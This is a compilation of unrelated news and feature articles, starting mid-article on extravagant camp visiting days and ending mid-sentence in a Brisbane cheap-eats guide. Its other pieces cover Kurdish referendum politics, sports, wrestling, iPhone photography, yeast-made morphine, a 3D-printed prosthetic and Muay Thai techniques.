candy-filled packages outfitted in camp-colored ribbons. Then, there are the all-important bunk gifts — small, often custom, presents for the entire group — which can cost upward of $25 per kid (most bunks have around 10 kids). Sometimes, the bunk gifts get even pricier. “There might have been a rumor that somebody gave iPod shuffles to every girl in the bunk one year,” a director of an all-girls camp in New York coyly told The Post. The camp banished the tradition five years ago after gifts became too excessive. “It wasn’t in line with our values,” says the director, who asked to remain anonymous. Leslie Venokur, founder of Big City Moms, a parenting Web site, sends her 8-year-old daughter, Sami, to Camp Pontiac in the Berkshires. Venokur says the girls’ beds are covered in gifts and food by the end of visiting day — no matter that all edible contraband is typically thrown out or donated after 24 hours. “A lot of people go to their country clubs the day before and have them make their sushi platters and bring them up,” says Venokur, who lives on the Upper East Side. “My daughter’s favorite food is steak. She loves it and I know she doesn’t have it at camp. My husband is crazy, and so he brought up a steak from Wolfgang’s on visiting day.” For many parents, such as Upper West Sider Allysa Goldman, the excess is a way to show their love for their children. “I was completely borderline certifiable,” says Goldman of her first year sending her now 19-year-old and 16-year-old sons to Camp Starlight in Pennsylvania (the youngest one is going for his final year this summer). “We were notorious because we brought up so much stuff the first year and piled it up into the car and we realized we had no way of getting it all into camp,” says Goldman. “So we had to drive into town and buy those huge, huge garbage cans with wheels to put everything in it and drag everything up.” But plain black bins didn’t cut it for Goldman. “I went and bought stickers to decorate the garbage cans and put their names on them,” she says, with a laugh. Some parents even take their domestic staff to visiting day. “Every year, there are parents who bring their housekeepers to [clean],” says Goldman. “They’re there wiping the floors and spraying the Lysol.” The third-season premiere of Kargman’s show, airing 10 p.m. July 12 on Bravo, centers around the absurdities of camp visiting day. She says nannies are more rare, but do make a cameo or two each summer. She recalls one set of parents who wouldn’t let their nanny dress down for the occasion. “They made her wear the white Red Kap outfit,” she says. “I was like, ‘Give her a break, can’t she wear her dungarees? It’s f–king Maine. But she’s in uniform?’” Goldman says some families will even pay to drive out all the “bunk junk” and food separately. Flying private to visiting day is the new norm for the elite. “The [hired help] will set everything up on the grass with a little tent and everything and leave,” says Goldman. This sort of over-the-top behavior starts well before visiting day. Parents shell out thousands of dollars for customized camp gear ranging from $100 splatter-painted sleeping bags to $175 Uggs with their children’s name spray-painted on. And, then, there are the professional packers. Zgodny’s company offers packing services at $100 an hour with a three-hour minimum. “[My employees] bring Ziplocs and containers and Sharpies and label everything,” says Zgodny. “They’ll put dryer sheets between each layer of clothes, so when they come to camp, it smells good. And they’ll put a nice gift on top, too,” she says of the new trend of a “trunk gift.” Of course, parents save some extravagances for themselves, too. Flying private to visiting day is the new norm for the elite who want to skirt a hellish 5-hour-plus drive to Maine and other out-of-the-way locales. For those who don’t have their own jets, there’s Blade, which first launched private plane service to five camps last summer. This summer, they have expanded to 20 top camps in the Upper New York region, New Hampshire, Pennsylvania and Maine. One-way seats cost $425 to $525, according to Blade general manager Evan Licht, who says they’ve already sold out of certain flights. Kargman says two parents offered her and her husband a ride home on their jet after last year’s visiting day. “I was like, ‘Well, we have our car so that doesn’t work.’ And she says, ‘Send your people for it.’ “I’m like, ‘I don’t have people.’” -ERBIL, Iraq — As Iraqi Kurdistan heads to a controversial independence referendum on Sept. 25, divisions are running deep in the Turkmen community, which, like the Kurds, has claims over the oil-rich city of Kirkuk. Turkey's official policy terms Kirkuk “a Turkmen city,” and many Turks generally think that all Turkmens are on the same page. But the reality on the ground is different. To start with, the Turkmens in Erbil and Kirkuk differ in their stances on the prospect of Kurdish independence. Some Turkmens insist on the territorial integrity of Iraq, but others argue that cohabitation with the Kurds is easier. The Iraqi Turkmen Front (ITF), the largest party representing the Turkmens, is opposed to the referendum, while the Turkmen Development Party, founded by a group that split from the ITF, backs the referendum, arguing that Kurdistan is already a de facto state dealing directly with foreign countries. Turkey’s and Iran’s policies are another factor swaying Turkmen positions. For quite a while, Turkey has been advising the Turkmens to stay on good terms with the Kurds, which is contributing to the divergence of positions. Shiite Turkmens, meanwhile, have turned increasingly to Baghdad since the Islamic State’s (IS) onslaught in 2014. Based on their reactions to the referendum, two major trends are discernible among the Turkmens. For those who live in Erbil, the Kurdistan project is not much of a problem. They argue they have been able to preserve their language and culture in Kurdistan, while Turkmens in the rest of Iraq have been obliterated. The Turkmens in Kirkuk, meanwhile, are worried that an independent Kurdistan would lead to the fragmentation of Turkmen areas, with the city of Kirkuk probably going to Kurdistan and towns such as Taza Khormato, Tal Afar, Tuz Khormato, Amerli, Qarah Tabbah and Jalawla staying with Iraq. This would mean an end to the dream of a Turkmen homeland, idealized in nationalist quarters. ITF member Aydin Maruf, one of the five Turkmens in the Kurdistan parliament, paints a tough outlook for a community hit by geographical and sectarian divisions and relying on different powers for protection. Maruf told Al-Monitor that “Baghdad’s sectarian polices” had pushed the Kurds to seek independence, arguing that the Iraqi Kurdistan Region had progressed both politically and democratically. “Holding a referendum is a right. Kurds, Arabs and Turkmens alike can do that,” he said. Maruf said the referendum was causing problems mostly in Kirkuk and Mosul. “In the disputed areas, neither Turkmens nor Arabs accept the referendum, and 70% of Turkmens live in the disputed areas,” he said, stressing that the Kurds should have sought dialogue with other ethnic groups, including the Turkmens, before making the move. He said that according to the Iraqi Constitution, Kirkuk, Tuz Khormato, Taza Khormato and Tal Afar do not belong to the Kurdistan region. “Their status must be resolved within a constitutional framework. That’s why the Iraqi Turkmen Front does not accept holding the referendum in the disputed areas,” he said. “We have never opposed the rights of the Kurds,” Maruf said. “We are living together. When the Baath regime [stormed the region] in 1991, the bombs rained on all of us. Our destiny is one. If there is a [Kurdish] state, we will be in that state, and if there is a war, we will be in that war as well. I’m talking about Erbil here. The situation is different for those in Kirkuk and Mosul. If Iraq disintegrates, will it be only Kurdistan seceding? The Sunni Arabs might secede as well. Then, what will happen to the Turkmens in Mosul and Tal Afar?” While some Turkmens charge that the Kurds have been trying to Kurdicize Kirkuk and cannot be trusted, the Kurds argue that Kurdistan is the best guarantee of Turkmen rights. According to prominent Kurdish commentator Massoud Abdulkhaliq, Kirkuk’s Turkmens would be better off as part of Kurdistan. “The Turkmens used to have presence in all provinces and districts of Iraq. Now it is only in Kurdistan, which means they get along better with the Kurds than with the Arabs. No one is harassing them here,” he told Al-Monitor in Erbil. “They insist that Kirkuk remain attached to Baghdad, but if it does, they will be finished in Kirkuk, too, as they were in other regions.” The ruling Kurdistan Democratic Party (KDP) rejects accusations that the Turkmens have been subjected to ethnic cleansing and excluded from the administration. In an interview with Al-Monitor, Mohammed Khurshid, the KDP head in Kirkuk, described a tradition of cultural diversity involving Kurds, Turkmens, Jews and Christians. That is why Kirkuk natives are called “quadrilinguals,” he said. Khurshid continued, “After 1930, Bedouin Arabs were settled in Hawija to the south of Kirkuk. In 1963, the Arabs of Hawija attacked the Kurds, setting 300 villages ablaze. Hawija has always been a threat to Kirkuk. They attacked Turkmen villages as well. The Arabs of Hawija seized Turkmen lands. The [Arabization] project accelerated after 1974 under Saddam Hussein. In 1988, all Kurdish villages in Kirkuk were burned and destroyed. A total of 758 villages were either destroyed or resettled with Arabs. The people exiled from Kirkuk settled in Dahuk and Erbil.” Khurshid denied any deliberate Kurdish policy to drive the Turkmens out of Kirkuk. “I don’t say there are no assassinations and explosions, but no Kurdish group has a policy of denial vis-a-vis the Turkmens,” he said. “Before 2003, there was not even one Turkmen school in the city. Thanks to the Kurdish government, the Turkmens have opened several schools. They are even using the Latin alphabet. The Iraqi government does not accept that, but we do.” Khurshid drew a comparison to Erbil, where, he said, Turkmens had a school before 2003. He argued that Kurds had been supportive of the idea that Turkmens hold senior administrative posts. The status of Kurds who were driven out of rural Kirkuk is an issue. Khurshid said the Iraqi government failed to provide support to revive the old villages. “As a result, the people settled not in the villages but in the cities. The Turkmens are now complaining that the Kurds have settled in urban centers. … The Kurds moved to lands allocated by the government, not to other people’s homes,” he said, adding that Jalal Talabani, a Kurd who served as president of Iraq, built 1,000 homes in the town of Bashir, near Kirkuk, and gave them away to Turkmen returnees. “In our view, Kirkuk belongs to all of us. It’s a city of all nationalities and religions,” Khurshid said. He referred also to a proposal he had drawn up at the request of Kurdish leaders for a special status for Kirkuk within Kurdistan. The proposal, presented to representatives of other groups on July 30, outlines a power-sharing formula according to which the bloc that comes out first in the elections gets the governor’s post, the second the post of provincial council speaker, the third the deputy governor’s post and the fourth the deputy speaker’s post. Given the demographic structure, the governor’s post would likely go to the Kurds, the speaker’s post to the Arabs, the deputy governor’s post to the Turkmens and the deputy speaker’s post to the Christians, Khurshid said. “Yet,” he added, “the Turkmens demand that the third ticket gets both the deputy governor’s and deputy speaker’s posts. We reject that because the Christians would be cast out.” Beyond those disagreements, another important factor has changed Turkmen perspectives. Because they see Turkey as a protector and guarantor, Turkmens used to say they did not need to arm themselves. Yet at least 12,000 Turkmens have joined the Popular Mobilization Units (PMU) since the force was created in 2014 to fight IS, and now many believe that the PMU would fight for the Turkmens if need be. The fear of an armed conflict with the PMU is rife among the Kurds. Recalling the 2015 flare-up between the Kurdish peshmerga forces and the PMU in Tuz Khormato, Abdulkhaliq said, “In Mosul, [the PMU] controls 12 of the 16 disputed areas, while the remaining four are in peshmerga hands. The danger of clashes is more serious in Tuz Khormato and to the south of Kirkuk.” Former KDP lawmaker Aso Karim drew attention to the PMU’s Iranian connections. “[The PMU] is growing and could step into action to retake the disputed areas. Iran is influential here,” he said. In an interview in Sulaimaniyah, Jalal Jawhar, a senior member of the Movement for Change (Gorran), also voiced concern that actors opposed to Kurdistan could start clashes in the disputed areas. The referendum may be a natural right of the Kurds, but myriad uncertainties engulf the day after. The Kurds might still be able to avoid disaster scenarios if they follow more inclusive, flexible and prudent policies. -CLEVELAND (AP) -- Shaquille O'Neal's curious about one aspect of LeBron James' impending return to face angry Cavaliers fans -- the pregame ritual. "I'm a silly fan,'' O'Neal said. "I'm anxious to see if he's going to do that powder thing.'' James' homecoming on Thursday, his first game in Cleveland since deciding to join the Miami Heat this summer, may be the most anticipated matchup on the NBA schedule this season. Cavaliers fans are expected to mercilessly boo James, whose departure impacted the city's economy and psyche. During his seven seasons in Cleveland, James developed a routine -- before home and away games -- of filling his hands with a white powdered rosin and tossing it above his head just before tip-off, creating a dust cloud that has become as much his signature as any powerful dunk. On Tuesday, James seemed unsure if he would do it in front of fans who may no longer appreciate the snow-like spectacle. "The powder? I probably will,'' James said after practice in Miami on Tuesday. "That's just a ritual for myself, a routine that I've always done, I've done on the road. I don't know. We'll see. I may change. I don't know.'' O'Neal, who has felt the wrath of fans after leaving Orlando and Los Angeles, can't wait to find out. "We have bets that he doesn't do it,'' said O'Neal, in town with the Boston Celtics to play the Cavaliers. Dwyane Wade believes his Miami teammate will stick with his pregame powder ceremony. "I wouldn't expect him to do anything different,'' Wade said. "He's done it for every game he's played. So why change it just for one game? If he doesn't throw it up, I'll throw it up for him. That's what he does. You cannot stop doing what you do. Moreso than anything, that's his ritual. That's what gets him ready for the game. "No one's going to know until tip-off. And we'll be excited to see.'' -Bray Wyatt has qualified to feature in the Money In The Bank WWE Title Ladder Match, besting Dean Ambrose in a qualifier match at the June 10th SmackDown tapings. We can also report that John Cena is scheduled to be added to the title match at some point, according to an update at F4wonline. That would make the line up to six big stars fighting for the title on June 29th, Cesaro vs Sheamus vs Orton vs Del Rio vs Cena vs Wyatt. Apparently WWE have already decided on who will be the new champion, and the company are also mulling over a second ladder match for the traditional MITB briefcase title shot. An argument could be made that Money In The Bank 2014 is in fact now stronger from Daniel Bryan's absence. His scheduled match against Kane was hardly a big sell to begin with. Instead we now have six of WWE's biggest stars fighting it out to be the new WWE Champion and a possible second ladder match on the show. Wyatt beat Ambrose in the SmackDown match after Seth Rollins ran in to distract the Shield member. It looks as if we will get Ambrose vs Rollins in a one on one undercard match at the pay per view, with Roman Reigns possibly doing nothing more than acting as enforcer at ringside. Overall the Money In The Bank pay per view is shaping up to be a great show, the addition of Wyatt into the title equation is exciting, we now await the final qualifier which will probably be Cena next week on Raw. -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. June 5, 2014, 3:16 PM GMT / Updated June 5, 2014, 3:58 PM GMT A senior politician from Indian Prime Minister Narendra Modi's ruling party has been quoted saying that sometimes rape is "right," sparking renewed outrage about rampant sexual assault in that country. "This is a social crime which depends on men and women. Sometimes it's right, sometimes it's wrong," Babulal Gaur, home minister of Madhya Pradesh state, was quoted as saying in the Hindustan Times. "Until there's a complaint, nothing can happen." Gaur is from Prime Minister Modi's Bharatiya Janata Party (BJP). Modi has so far been silent about the May 26 gang rape and murder of two teenage girls in the north of the country. Three men later confessed to the attacks, which ended with the girls being hung from a mango tree. The 14- and 15-year-old cousins were from a poor family without operating toilets in their home and disappeared after going into fields to relieve themselves. -One of the most important things determining the quality of a photo is the angle from which it was taken. Even if you have a really interesting subject and you follow the most important composition guidelines, you still need to find that unique and interesting angle to really make your photo shine. In this article I’m going to share my 9 best tips for finding the perfect angle so that your iPhone photos really stand out and look as great as they possibly can… 1. Move around to improve composition Whenever you’re trying to pick the best angle for a photo, you should always think about balancing the composition, and the angle that you shoot from makes a huge difference for the horizontal and vertical balance of the photo. Let me show you what I mean with an example. In this photo my subjects are the tree in the foreground and the mountain in the background. The photo is balanced horizontally as the two subjects are at the opposite sides of the frame. However, it’s not balanced vertically as there is nothing of interest in the top half of the frame, and all visual weight is concentrated at the bottom half of the frame. Now let’s look at the same scene from a different angle. The next photo was shot from the same location with the iPhone positioned higher and the lens directed more towards the ground. Here you can see pretty much the opposite – there’s nothing of interest at the bottom half of the frame, and all visual weight is concentrated at the top. It’s tempting to think that the best solution would be aligning both the tree and the mountain centrally, but then all visual weight would be in the middle, and the top and the bottom would then look empty. However, I was able to balance this image by walking closer to the tree so that the shadow is also included in the composition. Now the tree takes up the top and central parts of the image, the mountain is in the central part, and the shadow fills up the bottom third of the image. I hope this example shows you how easy it can be to adjust composition by just moving around a little. 2. Shoot from the height of your subject We look at the world from the height of our eyes, and thus it’s only natural to also take photos from the same height. However, in many photography situations – such as taking photos of children, pets or plants – shooting from the height of your eyes will almost always result in bad photos. When photographing children and animals, you should take photos from their height and thus capture the world from their point of view. If you just shoot from the height of your own eyes, your subjects will literally look like they’ve been tossed on the ground. 3. Get close… and even closer A great way to make your photos more intimate is to get closer to your subjects – even closer than you would feel comfortable. That way your photos can convey the kind of intimacy that is normally only found in real life. Did you notice that this photo is shot from the height of the cat? 4. Add perspective to your photos When possible, try to choose an angle that will show perspective in your photos. There are a few different ways you can do this. If your subject is far away, one simple way to show perspective is to juxtapose it with larger-looking objects in the foreground as seen below. If the view extends into the distance, you can show perspective by shooting from a higher angle as seen in the next photo. I took this photo from a staircase so that my main subject – the silhouette of a women – is situated against the street extending far into the background. Another great way to show perspective is to get really low with your iPhone. That creates an exaggerated perspective by making the objects in the foreground look massive, which can be used to emphasize details on the ground level and make the image more immersive. 5. Include interesting reflections An easy way to greatly improve your photos and make mundane scenes exciting is to include reflections in your photos. While you can find reflections on many different surfaces, water is perhaps the most obvious medium for interesting and unique reflections. In general, I prefer to include both the actual subjects and their refections in the photo, and I like to make the reflections equally or more prominent than the other parts of the photo. Often the only way you can do this is by placing the lens of your iPhone just a little bit above the water. If the iPhone is even an inch higher, you probably won’t be able to frame the photo as needed. Another great reason to place the iPhone within an inch above the water is that even the tiniest waves – which you can also create yourself – will look massive and distort the reflection, which of course also adds perspective to the photo. This is something you can only do with a smartphone since in traditional cameras the lens is placed much higher from the bottom of the camera. 6. Include shadows in the composition Many photos can be greatly enhanced by also including shadows in the composition. This works particularly well if you shoot within the so-called golden hour, which is the hour before sunset (or after sunrise) when the shadows are longer and much more pronounced. To make sure that the shadows fit in with the rest of the composition, treat them like you would treat any other photography subject. Quite often it means that your photos with shadows should be shot from the top with the ground taking up a large part of the composition. 7. Shoot from the hip Shooting from hip height is one of the best ways to improve your street photos and other photos of people that are not portraits. By changing the angle like this you can make the photo more dynamic and interesting just because we normally don’t look at other people from that angle. You could either get down on your knees to maintain full control over the process, or you can just lower your iPhone and literally shoot from the hip to add some randomness to your photos. 8. Tilt your photos for a more dynamic look Who said you should always keep your iPhone straight and take perfectly horizontal photos? For some reason that’s exactly what we end up doing 99% of the time. However, there are situations when tilting the iPhone a little will result in a far more interesting and unique photos. This is one of my favorite iPhone photos, and it’s made much more interesting by the subtle but perceptible tilting of the frame. Of course, the subjects couldn’t walk like this in real life, thus making this photo a bit surreal. 9. Always keep experimenting You should always keep experimenting and looking for a unique and interesting angle for your photos. Don’t just take a photo the way you see the scene, try to change the angle and see how that changes the photo. Don’t just settle for the first version of what could be a great photo. Maybe you want to get down on your knees, maybe you want to climb the nearby stairs and take the photo from there, or maybe you want to get closer to your subject. Always keep experimenting with unique shooting angles, and you won’t be disappointed with the results. Emil Pakarklis is the founder of iPhone Photography School, a website that helps people take better photos with the iPhone. All photos in this article were shot and edited with iPhone 4S. -Yeast. They already participate in producing some of the most popular pain-killing substances around: beer and wine. Now, scientists have engineered yeast that can also make one of the most powerful analgesics: morphine. Their work is in the journal Nature Chemical Biology. [Kate Thodey, Stephanie Galanie and Christina D. Smolke, A microbial biomanufacturing platform for natural and semisynthetic opioids] Opiates like morphine and codeine are essential for treating severe pain. But making these meds isn’t easy. All are derived from opium poppies, and tens to hundreds of thousands of tons are needed to meet global needs. The crops can also be affected by climate, disease and even political turmoil in the countries where the plants are grown, which further limits commercial production. To get around these potential challenges, researchers have turned to yeast, an organism that can be grown easily on industrial scales. The scientists inserted into yeast cells a handful of genes isolated from the opium poppy. These genes encode the enzymes the plants use to produce opiates. After tweaking the system to adjust the relative amounts of the enzymes, the researchers could feed their yeast a precursor chemical called thebaine, and get pure morphine in return. The yeast can’t yet make opiates from scratch. But with a bit more effort and a few more enzymes, yeast may produce painkillers that are prescription strength. —Karen Hopkin [The above text is a transcript of this podcast.] [Scientific American is part of Nature Publishing Group.] -Since the Pac-12 expanded to 12 teams in 2011, the annual showdown between Oregon and Stanford hasn't been as much a North Division game as an annual coronation. Four of the last five times these teams met, the winner would go on to win the Pac-12 championship. And once they got to the league's title game, they typically dominated their South brethren. The first five Pac-12 championship games have been won by either Oregon or Stanford by an average of three touchdowns. It was a shared dynasty that was the envy of the league's 10 other programs. Oregon has a 3-6 record and may miss playing in a bowl game for the first time in a dozen years. Chris Williams/Icon Sportswire Stanford travels to Oregon on Saturday, only this time the duo's monopoly on conference titles was broken up weeks ago. Regardless of the outcome, neither will win the conference. And neither will win the North. Both programs have yielded to the gentlemen from the great state of Washington … or the great Washington State. The Cougars and Huskies swept the Cardinal and Ducks in blowout victories, effectively marking the end of one epoch and trumpeting in the Pac-12's Age of Apples. The Oregon-Stanford matchup has traditionally influenced playoff and BCS tides. But this year it wouldn't make a ripple in a kiddie pool. The once-ordained have been reduced to ordinary. Yet while there are no national stakes at play for either team, there is still plenty worth investing in. The Cardinal (6-3, 4-3) -- despite their injuries and stilted offense -- still have a shot at a nine-win season and a mid-tier bowl game. Oregon (3-6, 1-5) needs to win to keep its slim hopes of making the postseason alive. The Ducks have lost six of their last seven and are in danger of missing a bowl game for the first time since 2004. This has traditionally been a game of competing philosophies: Oregon with its up-tempo, high-scoring brand of offense against Stanford's stalwart defense. And that still holds true. The Ducks are No. 4 in the league in scoring offense at 38.2 points per game. Stanford has the league's No. 3 scoring defense, yielding just 18.6 points per game. But there's another contrast this year. Oregon's defense can't stop hemorrhaging points. Stanford's offense can't find any. The Ducks are 11th in the league in scoring defense. Stanford is last in offense. EDITOR'S PICKS Week 10 Pac-12 Power Rankings College GameDay travels to Seattle to see the two hottest teams in the Pac-12 face off in Washington and USC. It's the stoppable force versus the movable object. Last year was the only time the winner of this game didn't win the league title. Oregon pulled out a tight 38-36 victory at Stanford, eliminating the Cardinal from playoff contention. But Stanford still went on to win the conference and roll through the Rose Bowl. That's been a theme in this matchup -- one knocking the other out of something significant. In 2012, it was the Cardinal who topped the Ducks in Eugene in overtime, spoiling an undefeated season and paving the way for that barn-burning Notre Dame-Alabama BCS championship. A year later the Cardinal again topped an undefeated Oregon team. And then in 2015, it was the Ducks who bounced the Cardinal from playoff consideration. Oregon has won the last two, but three of the last four meetings have come down to one possession. This game also features two of the league's preseason Heisman favorites -- running backs Christian McCaffrey from Stanford and Royce Freeman from Oregon. Both were coming off outstanding, record-breaking seasons in 2015. But injuries have slowed them statistically and negatively impacted their teams. It's a situation neither of these teams wanted to be in Week 11. This is the game that's always been circled as an exhibition of the Pac-12's best and brightest. Heismans have been won and lost in this game. Opinions have been molded. National landscapes have been altered. But not this year. Every game is important and every game matters. You won't find a player in either locker room who doesn't care about the outcome. This is just the first time in a long time that the rest of the country won't be watching. Because this time around it's not a coronation. It's just another North Division game. -(Image: Oli Scarff/Getty) It may look like a sci-fi movie prop, but it could be a glimpse at the future of prosthetics. 3D printing can render everyday artefacts in clear plastic, so we can see in unprecedented detail how they work – and this exquisite model of a prosthetic arm is a brilliant example. It is one of the highlights at the London Science Museum’s 3D printing exhibition, which features more than 600 printed objects. Designed by Richard Hague, director of the Additive Manufacturing and 3D Printing Research Group at the University of Nottingham, UK, and his students the arm shows how the printers can create strong structure, mobile joints and delicate sensors – like spiral-shaped metal touch-detectors – all in one process. Advertisement “It’s a mock-up but it shows circuits that sense temperature, feel objects and control the arm’s movement,” says Hague. “3D printing gives us the freedom to make complex, optimised shapes, and our research aim is focused on printing-in electrical, optical or even biological functions.” Such techniques are also bringing prosthetics to people who previously could not afford them. For instance, the open-source “robohand” project, pioneered by South African carpenter Richard Van As, aims to print cheap, plastic customised prostheses for people who have lost fingers, or who were born with some digits missing or malformed. Some of his work – with the designs available online – is also on show at the Science Museum. See more: “What our 3D-printed future looks like“ -How To Fight Like Saenchai Watch and Learn Saenchai’s Best Muay Thai Techniques and Tricks Observing Saenchai’s skills in person is mentally exhausting. His raw talent is just mind-blowing and it’s nearly impossible to figure out how he fights so perfectly. I was blessed to watch him teach a session at Phoenix MMA (Bournemouth, UK) and managed to film a lot of the techniques and drills he was demonstrating. Saenchai has been my idol since I started Muay Thai, so it’s my absolute privilege to share his favourite techniques with you. Whilst they are mechanically quite simple, the timing and precision he performs them with is what makes them so effective: #1. Saenchai’s Kicks His unique flexibility allows him to bring his chamber up high with amazing speed and control. When he raises his thigh for a round kick, you have NO idea whether you’re about to get booted in the leg or take a shin to the head: Question Mark Kick Start by swinging your kick at your opponent’s leg, then at the last minute elevate your chamber and smash your foot into their confused face. The final blow may end up as more of a karate/tkd-esque flick (which finishes at the target) than a traditional Muay Thai round kick (which goes through the target). Key points – Make sure you pop up hard onto the toes of your standing leg to help achieve a good snap in the kick and to help it reach the head. Saenchai makes it look so easy mainly because he has such loose hip flexors, better get stretching if you want to throw it as smoothly as he does. Flying Switch Teep Once you understand the quick footwork required, this highly explosive teep combination will send your opponent flying across the ring whilst making you look like an absolute baller: Throw a front leg teep, then as it lands back on the floor, quickly drag your rear foot up to the front. Now throw your front knee up and jump up off your rear foot. As you’re in mid-air, throw the rear teep. Having blasted your opponent with your rear foot, bring it back behind you so that you land in your normal stance. Key point – Throw the front knee as high as you can before executing the kick to make yourself look as G as possible. Fake Round Kick Into Teep Saenchai uses this classic technique better than anyone: Deceitfully throw a rear round kick chamber out wide to draw a front leg check from your opponent. As they are balanced on one leg, lean back and extend your foot straight down the middle to send them collapsing into a puddle of gullible shame. Key point – Exaggerate and sell the initial round kick chamber to force a check. #2. How to Miss/Avoid a Kick Missing A Kick By staying face on to your opponent after you throw and miss a kick, you’re telling the judges that you have complete control of your movements. Also, if you’re looking at your opponent after a miss, it’s easier to detect any incoming counter attacks (sorry to state the painfully obvious). So, next time you miss a kick and swing around in a full circle whilst raising an anticipatory check in foolish panic as you present your back to your opponent, slap yourself. Saenchai would not be pleased. P.S. There’s a reason Saenchai struts around like he’s just fucked the entire Playboy Mansion: Muay Thai judges favor ring authority and aggression so his confrontational and arrogant swagger tells the judges he’s commanding the situation. Key Point – Develop your own ring character (and definitely don’t copy his, or any fighter’s, because people will just laugh at your unoriginality) The Lean Back No one pulls this off more stylishly than Saenchai. You’ll see videos of him bending backwards to the point he’s basically entering the matrix, but you don’t actually need to be that flexible to do this move efficiently. The evasiveness of the technique comes from stepping back with your rear foot and leaning back just enough to avoid the kick. Making a more minimal movement will also allow you to counter more efficiently. Key points – Stepping back enough with the rear foot and not bending back too much. #3. Elbows Notice how small his movements are when he throws his elbow strikes. When timed properly, elbows do enough damage without the need to dedicate your entire body weight and mortgage behind the shot. You unnecessarily risk losing balance if you over commit. Rear Cross Elbow Watch how he steps out at a 45 degree angle with his lead foot. This allows the elbow to travel in a wider arc and build more momentum which will create a more powerful blow. Most people make the mistake of stepping straight forward when throwing the elbow which limits the strike’s power. Key point – Step out at 45 degrees. Countering Knee With Up-Elbow Watch how he waits for Pakorn to commit to the knee before stepping in with his own elbow counter. This strike is best thrown as a counter against your opponent’s movement. Key point – He doesn’t just blindly throw the strike hoping it will hit. Countering Hook With Up-Elbow Key point – Reach out and meet the punch to prevent your opponent locking on a collar tie. #4. The Clinch Fuck clinching with Saenchai. Ever. Duck under A powerful position to obtain. This essentially turns your opponent into your bitch. Notice how Saenchai blocks Pakorn’s elbow after clearing the arm to avoid being struck by it? Ensure you also pull your opponent at a downward 45 degree angle to break their balance. Key point – block the elbow and take a big step with your rear knee to load up the strike. Cross face As your opponent reaches to collar tie you, duck under their arm and push their face in the opposite direction to lock out their arm and completely fuck with their body’s mechanics. It’s essential to pull this move off quickly to avoid being countered as you do it. Key point – do it fast. Body head knee combo This isn’t related to clinch, but it’s a wicked combination I wanted to share. Key point – Exaggerate the duck down as you throw the overhand to sell it like a body shot, this will help lower your opponent’s guard and increase your chances of putting him to bed. (Thank you to Yokkao for putting this seminar together and allowing me to film. To all the Pakorn fans wondering why I left him out, it’s because he didn’t do any teaching. He’s still a legend in his own right, he just didn’t have any relevance to this article!) Bonus Saenchai Technique Breakdown Video Please follow and like us: Author Profile Sam Razvi Sam is a travelling fighter/journalist from England. He backpacked to Thailand to learn Muay Thai when he was 18 where he ended up having 4 professional fights. He then trained kickboxing in Holland where he learned how much it sucks to not take a leg kick properly. Having also performed stand-up comedy he likes to think he's funny, so please forgive him for any ridiculous jokes (and for the audacity of writing about himself in the 3rd person). Check his travelling fight blog here - http://www.pineapplesamurai.com. Latest entries Author Archives Culture Western Muay Thai vs Thailand Muay Thai Western Muay Thai vs Thailand Muay Thai Technique How To Fight Like Saenchai Like this: Like Loading... -With Brisbane Festival in full swing, we round up the best places cheap cafes and restaurants in the city – whether you fancy a big bowl of ramen, delicate French pastries or beer and burgers Mrs Luu's Vietnamese Canteen This is not your traditional-style Vietnamese restaurant. The family who own Mrs Luu's used to run one of the most popular Vietnamese restaurants in Brisbane, but for this latest venture, they have taken just a handful of favourites and given them a contemporary twist. The "three little piggies'" banh mi (Vietnamese baguette sandwich) is a combination of barbecued pork, Vietnamese-style ham and their own porchetta, piled high with crunchy, fragrant salad ($7). There are six varieties of goi cuon rice paper rolls (two for $6) and daily blackboard specials, such as green papaya salad with king prawns and pork belly, or Mrs Luu's own pho thai nam (rare beef brisket and noodle soup). Cash only, but there is an ATM on the premises. • 25 Railway Terrace, Milton, +61 (0) 7 3369 5760 Little Greek Taverna Little Greek Taverna, Brisbane It's bustling, rowdy and a bit rough-and-ready, and that's all part of the appeal. This family-run restaurant is hard to beat when it comes to hearty, home-style Greek fare. Select from a list of mezedes, which includes homemade dips, classic zucchini fritters with tzatziki and Aunty Thea Ellie's tiropita (crisp, golden pastry filled with a mixture of warm feta and ricotta cheese, $6). Generous servings of souvlaki come with salad for $15, or $5 per skewer. In addition to traditional yiros (kebabs) at $10 a plate, there's a range of grilled seafood, including octopus, prawns, calamari and scallops (all under $20). You can bring your own wine (corkage $2) and they'll throw in the party atmosphere for free. • 1 Browning St West End, +61 (0) 7 3255 2215, www.littlegreektaverna.com.au Double Shot Espresso The guys who run this pint-sized neighbourhood cafe have been in the hospitality game for many years and it shows. Chef Michael manages to turn out an array of perfect cakes, tarts, terrines, sandwiches and innovative breakfast fare from the minuscule kitchen, while Ross manages front-of-house with unflappable cheer, despite how hectic it can be on weekends. You can't beat their banoffee pie. The espresso here is well-made, and as strong as the cafe's name suggests. There simply isn't a dud option on the menu, with everything under $20. Be sure to take cash as there are no card facilities. • 125 Oxlade Drive New Farm, +61 (0) 7 3358 6556. Jan Powers Farmers Market, Brisbane City A salad from Nom Noms This normally drab corner of the concrete jungle is transformed every Wednesday, bringing a little bit of the Queensland country to the Central Business District. Farmers and producers peddle their delicious wares to a bustling crowd of city workers, students and visitors. For around $10 (£6), you can take your pick from hand-crafted dumplings, German Bratwurst and tasty vegetarian options from the Nom Noms stall. This is also the place for hunting and gathering locally made cheese, hot-smoked salmon, artisan sourdough, macaroons, brownies and ginger beer – all the makings of a perfect riverside picnic in the nearby botanical gardens. • Reddacliff Place (top of the Queen St Mall), George St, Brisbane, every Wednesday; janpowersfarmersmarkets.com.au. Swamp Dog Smoked sardines, toasted sourdough, feta and dried tomatoes from Swampdog At this edgy little South Brisbane fish and chippery, it's all about sustainable seafood, with an emphasis on locally caught fish. Pull up a stool at the big communal table and help yourself to homemade lemonade, or order a takeaway and head down to nearby South Bank Parklands. Sample Moreton Bay mullet and chips ($10.90) or salt-and-pepper calamari with preserved lemon aioli and chips ($12.90). Our favourites are the mackerel cutlet with zingy pineapple and coriander salsa ($16.90) and the tempura whiting with ginger prawn mousse and fragrant, crunchy Viet-style salad ($14.90). • 186 Vulture St South Brisbane, +61 (0) 7 3255 3715, swampdog.com.au. Sourced Grocer It's the city's hippest market cafe, offering a simple, produce-driven menu, served against an industrial-chic backdrop of gourmet goodies, cut flowers and some of the best fresh produce around. The simple menu is handwritten on the white subway-tiled wall and reads like a who's who of local artisan producers. Food is as wholesome as it is delicious – salads such as the Noosa smokehouse salmon, freekeh tabbouleh, pistachio, grapes 